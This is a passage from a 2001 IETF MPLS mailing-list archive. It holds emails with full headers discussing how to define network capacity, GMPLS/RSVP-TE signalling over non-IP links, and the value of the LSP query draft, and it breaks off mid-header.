Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpoa28881
	for <mpls@UU.NET>; Fri, 18 May 2001 14:03:37 GMT
Received: from ext1.ics.forth.gr by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.ics.forth.gr [139.91.1.2])
	id QQkpoa10677
	for <mpls@UU.NET>; Fri, 18 May 2001 14:03:36 GMT
Received: from ismene.ics.forth.gr (mailhost.ics.forth.gr [139.91.157.51])
	by ext1.ics.forth.gr (8.9.3/ICS-FORTH/V8.2.5-GATE) with ESMTP id RAA18445;
	Fri, 18 May 2001 17:03:29 +0300 (EET DST)
Received: from sappho.ics.forth.gr (sappho-lane.ics.forth.gr [139.91.157.50]) by ismene.ics.forth.gr (8.8.8/ICS-FORTH/V3) with ESMTP id QAA14320; Fri, 18 May 2001 16:59:16 +0300 (EET DST)
Posted-Date: Fri, 18 May 2001 16:59:16 +0300 (EET DST)
Organization:   
Received: from localhost (tziou@localhost)
	by sappho.ics.forth.gr (8.9.3/ICS-FORTH/V8.2.2C-INTNULL) with ESMTP id QAA18531;
	Fri, 18 May 2001 16:58:11 +0300 (EEST)
X-Authentication-Warning: sappho.ics.forth.gr: tziou owned process doing -bs
Date: Fri, 18 May 2001 16:58:11 +0300 (EEST)
From: Chrysostomos Tziouvaras <tziou@ics.forth.gr>
To: mpls@UU.NET, ip-optical@lists.bell-labs.com
Subject: Network capacity
Message-ID: <Pine.GSO.4.10.10105181656400.15776-100000@sappho.ics.forth.gr>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Dear all,
does anyone know how we define the capacity of a network?(not a link's
capacity)

Chrysostomos Tziouvaras
ICS-FORTH Researcher



From owner-mpls@UU.NET  Fri May 18 10:40:03 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA27929
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 10:40:02 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpoc29728;
	Fri, 18 May 2001 14:38:04 GMT
Received: by mail-control.mail.uu.net 
	id QQkpoc27488
	for mpls-outgoing; Fri, 18 May 2001 14:37:29 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpoc27426
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 14:37:11 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpoc16828
	for <mpls@uu.net>; Fri, 18 May 2001 14:36:17 GMT
Received: from sj-msg-core-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkpoc22206
	for <mpls@uu.net>; Fri, 18 May 2001 14:36:16 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4IEaFd25973
	for <mpls@uu.net>; Fri, 18 May 2001 07:36:15 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA25630 for mpls@uu.net; Fri, 18 May 2001 10:36:14 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpoc26194
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 14:33:09 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpoc09142
	for <MPLS@UU.net>; Fri, 18 May 2001 14:32:42 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f190.law15.hotmail.com [64.4.23.190])
	id QQkpoc21596
	for <MPLS@UU.net>; Fri, 18 May 2001 14:32:41 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 18 May 2001 07:32:41 -0700
Received: from 192.11.223.117 by lw15fd.law15.hotmail.msn.com with HTTP;	Fri, 18 May 2001 14:32:41 GMT
X-Originating-IP: [192.11.223.117]
From: "Yuri Landry" <yurilandry@hotmail.com>
To: ccamp@ops.ietf.org, MPLS@UU.NET
Subject: Re: GMPLS/RSVP-TE question + Comments on GMPLS last call
Date: Fri, 18 May 2001 14:32:41 -0000
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F190s1tIzmQVuRWCy7r00007c1f@hotmail.com>
X-OriginalArrivalTime: 18 May 2001 14:32:41.0390 (UTC) FILETIME=[65078CE0:01C0DFA7]
Sender: owner-mpls@UU.NET
Precedence: bulk


Cheenu,

>We want to set up an LSP A-1-B-2-C and signal it via RSVP-TE. The ERO
>should be (A-1, B-2, C). However, a Path message can only be sent
>out link A-D and has to be routed towards B; it cannot be sent
>down link 1 since 1 is not IP-capable. Is this ok? What kind of
>Path state is created on D? Or, do we need to tunnel the Path
>message to B directly? Will D change the PHOP object to point
>to itself (we do not want D to change the contents of the ERO)? In
>this case when B receives this message it will find that the
>Path came to it from an interface that is not part of the ERO. Is
>this an error?

In your case, A need to put B as the destination address in the RSVP-TE 
message and turn off the router alert option.

Your question actually reminds me what's missing in the GMPLS drafts: the 
scope and applicability statment.

I am very glad to see that more folks realize that the control plane may be 
distinct from a data plane topology in optical networks. This is only one of 
many distinctions between IP network and optical network. GMPLS siganaling 
drafts so far only cover a set of new TLVs/Objects. In case we implement the 
GMPLS drafts exactly, I doubt that they work for optical network. There are 
tons of issues that haven't been solved yet. For example, if the control 
channel fails, what we should do to the associated circut connections 
etc.etc.

In order to be clear and not misleading, I hope that the current GMPLS 
signaling drafts has a clear statement of what it covers and what it hasn't. 
I'd like to see:

(1) Scope: It is only for intra-domain

(2) Content: It defines a set of new TLVs/Objects which are not exhaustive

(3) What's Missing: It doesn't cover protocol mechanisms related issues. 
Modifications of MPLS signaling protocol mechanisms are need for GMPLS 
signling to be applicable to optical network.

(4) What are other related draft: For example, in order for GMPLS RSVP-TE to 
work for optical network, at leaset Refreshment reduction need to be 
supported etc.

Regards,

Yuri


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com



From owner-mpls@UU.NET  Fri May 18 10:46:30 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA28027
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 10:46:29 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpoc27340;
	Fri, 18 May 2001 14:43:28 GMT
Received: by mail-control.mail.uu.net 
	id QQkpoc28183
	for mpls-outgoing; Fri, 18 May 2001 14:42:57 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpoc28175
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 14:42:50 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpoc21896
	for <mpls@UU.NET>; Fri, 18 May 2001 14:42:22 GMT
Received: from mps3.leeds.ac.uk by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sunserv5.leeds.ac.uk [129.11.16.35])
	id QQkpoc06757
	for <mpls@UU.NET>; Fri, 18 May 2001 14:42:22 GMT
Received: from electeng.leeds.ac.uk (electeng.leeds.ac.uk [129.11.178.99])
	by mps3.leeds.ac.uk (8.11.1/8.11.1) with ESMTP id f4IEgAb06236;
	Fri, 18 May 2001 15:42:10 +0100 (BST)
Received: from ELECTENG/SpoolDir by electeng.leeds.ac.uk (Mercury 1.43);
    18 May 101 14:40:15 GMT
Received: from SpoolDir by ELECTENG (Mercury 1.43); 18 May 101 14:40:13 GMT
Received: from eenet (129.11.176.219) by electeng.leeds.ac.uk (Mercury 1.40);
    18 May 101 14:40:13 GMT
From: "Erickson Trejo-Reyes" <eenet@electeng.leeds.ac.uk>
To: "Chrysostomos Tziouvaras" <tziou@ics.forth.gr>, <mpls@UU.NET>,
        <ip-optical@lists.bell-labs.com>
Subject: RE: Network capacity
Date: Fri, 18 May 2001 15:43:52 +0100
Message-ID: <NFBBKGKJALBCDKPJMMOAAEFLCAAA.eenet@electeng.leeds.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal
In-Reply-To: <Pine.GSO.4.10.10105181656400.15776-100000@sappho.ics.forth.gr>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

I think it depends on the type of network, but on the general I would say
"Erlangs". Or it could be transformed into "simultaneous calls", or "packets
per second" possibly. That's what I think.

E Trejo
University of Leeds

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Chrysostomos
Tziouvaras
Sent: Friday, May 18, 2001 2:58 PM
To: mpls@UU.NET; ip-optical@lists.bell-labs.com
Subject: Network capacity

Dear all,
does anyone know how we define the capacity of a network?(not a link's
capacity)

Chrysostomos Tziouvaras
ICS-FORTH Researcher



From owner-mpls@UU.NET  Fri May 18 10:51:40 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA28116
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 10:51:40 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpod02260;
	Fri, 18 May 2001 14:49:45 GMT
Received: by mail-control.mail.uu.net 
	id QQkpod29969
	for mpls-outgoing; Fri, 18 May 2001 14:49:11 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpod29954
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 14:48:57 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpod13356
	for <mpls@UU.NET>; Fri, 18 May 2001 14:47:49 GMT
Received: from sandmail.sandburst.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkpod14992
	for <mpls@UU.NET>; Fri, 18 May 2001 14:47:49 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id DF3AA94006; Fri, 18 May 2001 10:47:44 -0400 (EDT)
Message-ID: <3B053610.1E78F28D@sandburst.com>
Date: Fri, 18 May 2001 10:47:44 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Loa Andersson <loa.andersson@utfors.se>
Cc: MPLS Mailing List <mpls@UU.NET>
Subject: Re: I-D ACTION:draft-ietf-mpls-lsp-query-02.txt
References: <200105161102.HAA02659@ietf.org> <3B039418.285034D@utfors.se> <3B03D30A.BF672875@sandburst.com> <3B04419E.3D931E77@utfors.se> <3B044826.5416F0D6@sandburst.com> <3B04B29A.FCF6F0C@utfors.se>
Content-Type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id KAA28116

Loa,

    I understand your point, now, and agree.

--
Eric Gray

You wrote:

> Eric,
>
> Eric Gray wrote:
> >
> > Loa,
> >
> >     Because you cannot have perfect knowledge of the state of
> > the network.  What you say about the difference in the state of
> > the network between times 't' and 't+n' will also be true of the
> > difference between times 't+(a(n))' and 't+((a+1)(n))'.
>
> This seems to strengthen what I said. At any point in time, after
> just shortly before the receipt of the query response, there is
> an uncertainty in the
>
> > And
> > what constitutes 'good enough' knowledge of the state of the
> > network may be difficult to standardize - especially without
> > some real deployment experience.
>
> The conservative position would be that you have "good enough"
> knowledge from the IGP.
>
> >
> >     I am not particularly for or against this particular draft, but
> > I do not know that it makes sense to try to dictate when it
> > makes sense to use a query mechanism if we have one.
>
> Sorry, was not trying to dictate "when" the use of the query,
> rather asking if the knowledge you will get from the query would be
> worth the effort. But on the other hand I don't want to dictate
> the "non-when" either.
>
> Query along, just be aware of the "unreliable" nature of the response.
> I would be extremely cautious to take any critical decision
> based on that "knowledge".
>
> /Loa
> >
> > --
> > Eric Gray
> >
> > You wrote:
> >
> > > Eric,
> > >
> > > I don't know much about horses (or carts) but if I read you correct
> > > what I get from the querry is that I know a situation at the point
> > > in time when (or shortly before) I receive the querry response! But
> > > I can't rely on that info if I want to take some actions at that point
> > > in time or later. Why should this be a "nice to have"?
> > >
> > > /Loa
> > >
> > > Eric Gray wrote:
> > > >
> > > > Loa,
> > > >
> > > >     I think that the whole query mechanism is being suggested because
> > > > people want to check from time to time to see where an LSP is going
> > > > at some time.  The only conceivable reason for wanting to do this is a
> > > > direct result of the dynamism you mention.  Consequently, I think you
> > > > are getting the cart before the horse - you send a query to find out if
> > > > the LSP has changed and (from time to time) you send others.  Maybe
> > > > you do this because you've experienced some 'aftershocks' of route
> > > > changes (such as a storm of LSAs), or maybe you do it periodically.
> > > >
> > > >     You don't need a mechanism to detect when the last query is out of
> > > > date - the existence of a query mechanism, all by itself, means you
> > > > believe that the information can become stale.  Therefore, having some
> > > > means to detect when this is more likely can be seen as a nice to have
> > > > - but unnecessary - optimization.
> > > >
> > > > --
> > > > Eric Gray
> > >
> > > --
> > > Loa Andersson
> > > Chief Architect,
> > > Utfors Research, Architecture and Future Lab (URAX)
> > > Utfors AB
> > > Råsundavägen 12
> > > Box 525, 169 29 Solna
> > > Office          +46 8 5270 2000
> > > Office direct   +46 8 5270 5038
> > > Mobile          +46 70 848 5038
> > > Email           loa.andersson@utfors.se
> > > WWW             www.utfors.se
>
> --
> Loa Andersson
> Chief Architect,
> Utfors Research, Architecture and Future Lab (URAX)
> Utfors AB
> Råsundavägen 12
> Box 525, 169 29 Solna
> Office          +46 8 5270 2000
> Office direct   +46 8 5270 5038
> Mobile          +46 70 848 5038
> Email           loa.andersson@utfors.se
> WWW             www.utfors.se



From owner-mpls@UU.NET  Fri May 18 10:53:26 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA28142
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 10:53:26 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpod22231;
	Fri, 18 May 2001 14:51:58 GMT
Received: by mail-control.mail.uu.net 
	id QQkpod00259
	for mpls-outgoing; Fri, 18 May 2001 14:51:29 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpod00215
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 14:51:13 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpod20260
	for <mpls@UU.NET>; Fri, 18 May 2001 14:51:03 GMT
Received: from zcars0m9.nortelnetworks.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: h157s242a129n47.user.nortelnetworks.com [47.129.242.157])
	id QQkpod20472
	for <mpls@UU.NET>; Fri, 18 May 2001 14:51:03 GMT
Received: from zcars04f.ca.nortel.com by zcars0m9.nortelnetworks.com (SMI-8.6/SMI-SVR4)
	id KAA04349; Fri, 18 May 2001 10:50:57 -0400
Received: from zcard015.ca.nortel.com by zcars04f.ca.nortel.com;
          Fri, 18 May 2001 10:50:47 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <K83JZS0Q>; Fri, 18 May 2001 10:50:50 -0400
Message-ID: <F033F6FEF3F1D111BD150000F8CD143106F4F64B@zcard007.ca.nortel.com>
From: "Don Fedyk" <dwfedyk@nortelnetworks.com>
To: Loa Andersson <loa.andersson@utfors.se>,
        Eric Gray <eric.gray@sandburst.com>
Cc: MPLS Mailing List <mpls@UU.NET>
Subject: RE: I-D ACTION:draft-ietf-mpls-lsp-query-02.txt
Date: Fri, 18 May 2001 10:50:46 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0DFA9.EBCC0F60"
X-Orig: <dwfedyk@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0DFA9.EBCC0F60
Content-Type: text/plain;
	charset="ISO-8859-1"

Loa

> 
> 
> Eric,
> 
> 
> Eric Gray wrote:
> > 
> > Loa,
> > 
> >     Because you cannot have perfect knowledge of the state of
> > the network.  What you say about the difference in the state of
> > the network between times 't' and 't+n' will also be true of the
> > difference between times 't+(a(n))' and 't+((a+1)(n))'.  
> 
> This seems to strengthen what I said. At any point in time, after
> just shortly before the receipt of the query response, there is
> an uncertainty in the 
> 
> > And
> > what constitutes 'good enough' knowledge of the state of the
> > network may be difficult to standardize - especially without
> > some real deployment experience.
> 
> The conservative position would be that you have "good enough"
> knowledge from the IGP.

Not really. You have knowledge of aggregates but a query gives you precise
information. You don't need to update the IGP every time a path changes 
you only need to when thresholds have been crossed. As far as knowing when
to 
query it is quite reasonable to keep a path changed state a the end of 
an LSP that can tell you whether there is change since the last query.

<snip> 


Don 

------_=_NextPart_001_01C0DFA9.EBCC0F60
Content-Type: text/html;
	charset="ISO-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2654.59">
<TITLE>RE: I-D ACTION:draft-ietf-mpls-lsp-query-02.txt</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>Loa</FONT>
</P>

<P><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Eric,</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Eric Gray wrote:</FONT>
<BR><FONT SIZE=2>&gt; &gt; </FONT>
<BR><FONT SIZE=2>&gt; &gt; Loa,</FONT>
<BR><FONT SIZE=2>&gt; &gt; </FONT>
<BR><FONT SIZE=2>&gt; &gt;&nbsp;&nbsp;&nbsp;&nbsp; Because you cannot have perfect knowledge of the state of</FONT>
<BR><FONT SIZE=2>&gt; &gt; the network.&nbsp; What you say about the difference in the state of</FONT>
<BR><FONT SIZE=2>&gt; &gt; the network between times 't' and 't+n' will also be true of the</FONT>
<BR><FONT SIZE=2>&gt; &gt; difference between times 't+(a(n))' and 't+((a+1)(n))'.&nbsp; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; This seems to strengthen what I said. At any point in time, after</FONT>
<BR><FONT SIZE=2>&gt; just shortly before the receipt of the query response, there is</FONT>
<BR><FONT SIZE=2>&gt; an uncertainty in the </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; &gt; And</FONT>
<BR><FONT SIZE=2>&gt; &gt; what constitutes 'good enough' knowledge of the state of the</FONT>
<BR><FONT SIZE=2>&gt; &gt; network may be difficult to standardize - especially without</FONT>
<BR><FONT SIZE=2>&gt; &gt; some real deployment experience.</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; The conservative position would be that you have &quot;good enough&quot;</FONT>
<BR><FONT SIZE=2>&gt; knowledge from the IGP.</FONT>
</P>

<P><FONT SIZE=2>Not really. You have knowledge of aggregates but a query gives you precise</FONT>
<BR><FONT SIZE=2>information. You don't need to update the IGP every time a path changes </FONT>
<BR><FONT SIZE=2>you only need to when thresholds have been crossed. As far as knowing when to </FONT>
<BR><FONT SIZE=2>query it is quite reasonable to keep a path changed state a the end of </FONT>
<BR><FONT SIZE=2>an LSP that can tell you whether there is change since the last query.</FONT>
</P>

<P><FONT SIZE=2>&lt;snip&gt; </FONT>
</P>
<BR>

<P><FONT SIZE=2>Don </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0DFA9.EBCC0F60--


From owner-mpls@UU.NET  Fri May 18 10:59:57 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA28285
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 10:59:56 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpod08946;
	Fri, 18 May 2001 14:57:45 GMT
Received: by mail-control.mail.uu.net 
	id QQkpod01082
	for mpls-outgoing; Fri, 18 May 2001 14:57:11 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpod01048
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 14:56:51 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpod28631
	for <mpls@UU.NET>; Fri, 18 May 2001 14:55:41 GMT
Received: from wstutil12a.ml.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wstutil12a-v.ml.com [209.65.19.67])
	id QQkpod07140
	for <mpls@UU.NET>; Fri, 18 May 2001 14:55:41 GMT
Received: from wstutil13a.ml.com (wstutil13a [146.125.185.11])
	by wstutil12a.ml.com (8.11.3/8.11.3/wstutil12a-1.1) with ESMTP id f4IEtah01107;
	Fri, 18 May 2001 10:55:36 -0400 (EDT)
Received: from ewfdwt01.exchange.ml.com (ewfdwt01.exchange.ml.com [199.201.57.154])
	by wstutil13a.ml.com (8.11.3/8.11.3/wstutil13a-1.0) with SMTP id f4IEtdS19543;
	Fri, 18 May 2001 10:55:39 -0400 (EDT)
Received: from 146.125.111.6 by ewfdwt01.exchange.ml.com with ESMTP (
 Tumbleweed MMS SMTP Relay (MMS v4.7)); Fri, 18 May 2001 10:55:39 -0400
X-Server-Uuid: 3789b954-9c4e-11d3-af68-0008c73b0911
Received: by ewfd12.exchange.ml.com with Internet Mail Service (
 5.5.2654.52) id <LBS36RCH>; Fri, 18 May 2001 10:55:39 -0400
Message-ID: <29069344F8E3D011836E00805FBEB6BD071AD3CA@ewfd06.exchange.ml.com>
From: "Leopold, Simon (RSCH)" <SLeopold@exchange.ml.com>
To: "'Erickson Trejo-Reyes'" <eenet@electeng.leeds.ac.uk>,
        "Chrysostomos Tziouvaras" <tziou@ics.forth.gr>, mpls@UU.NET,
        ip-optical@lists.bell-labs.com
Subject: RE: Network capacity
Date: Fri, 18 May 2001 10:55:24 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2654.52)
X-WSS-ID: 171BE8611207698-01-01
Content-Type: text/plain; 
 charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Although networks are designed with peak loads in mind, it is possible to build a model based on data from the FCC and other sources for the US backbone. Such a model could reflect average network utilization in aggregate. The flaws of this approach, however, include missing the peak load, and reflecting for geographic distributions (i.e., part of the network may have a vast abundance of capacity, but there would still be bottlenecks).

Any thoughts on how to estimate peak vs. average loads for both voice and data?
How might one drill down to assess the geographic distributions of capacity (i.e., metro vs. long-haul)?

Simon M. Leopold
Assistant Vice President
Communications Equipment Analyst
Merrill Lynch Technology Research Group
email:  simon_leopold@ml.com



> -----Original Message-----
> From:	Erickson Trejo-Reyes [SMTP:eenet@electeng.leeds.ac.uk]
> Sent:	Friday, May 18, 2001 10:44 AM
> To:	Chrysostomos Tziouvaras; mpls@UU.NET; ip-optical@lists.bell-labs.com
> Subject:	RE: Network capacity
> 
> I think it depends on the type of network, but on the general I would say
> "Erlangs". Or it could be transformed into "simultaneous calls", or "packets
> per second" possibly. That's what I think.
> 
> E Trejo
> University of Leeds
> 
> -----Original Message-----
> From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Chrysostomos
> Tziouvaras
> Sent: Friday, May 18, 2001 2:58 PM
> To: mpls@UU.NET; ip-optical@lists.bell-labs.com
> Subject: Network capacity
> 
> Dear all,
> does anyone know how we define the capacity of a network?(not a link's
> capacity)
> 
> Chrysostomos Tziouvaras
> ICS-FORTH Researcher
> 



From owner-mpls@UU.NET  Fri May 18 11:10:25 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA28434
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 11:10:25 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpoe16299;
	Fri, 18 May 2001 15:07:35 GMT
Received: by mail-control.mail.uu.net 
	id QQkpoe13366
	for mpls-outgoing; Fri, 18 May 2001 15:07:01 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpoe13348
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 15:06:55 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpoe20364
	for <mpls@uu.net>; Fri, 18 May 2001 15:05:59 GMT
Received: from sj-msg-core-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkpoe15230
	for <mpls@uu.net>; Fri, 18 May 2001 15:05:58 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4IF5vd08652
	for <mpls@uu.net>; Fri, 18 May 2001 08:05:57 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id LAA26014 for mpls@uu.net; Fri, 18 May 2001 11:05:56 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpod00838
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 14:55:08 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpod15064
	for <mpls@UU.NET>; Fri, 18 May 2001 14:54:28 GMT
Received: from uni02mr.unity.ncsu.edu by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: uni02mr.unity.ncsu.edu [152.1.1.165])
	id QQkpod00697
	for <mpls@UU.NET>; Fri, 18 May 2001 14:54:28 GMT
Received: from csc.ncsu.edu (socrates.csc.ncsu.edu [152.1.213.156])
	by uni02mr.unity.ncsu.edu (8.8.8/8.8.8/UR01Feb99) with ESMTP id KAA07233;
	Fri, 18 May 2001 10:54:22 -0400 (EDT)
Message-ID: <3B05379D.966745DA@csc.ncsu.edu>
Date: Fri, 18 May 2001 10:54:21 -0400
From: Harry Perros <hp@csc.ncsu.edu>
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Erickson Trejo-Reyes <eenet@electeng.leeds.ac.uk>
CC: Chrysostomos Tziouvaras <tziou@ics.forth.gr>, mpls@UU.NET,
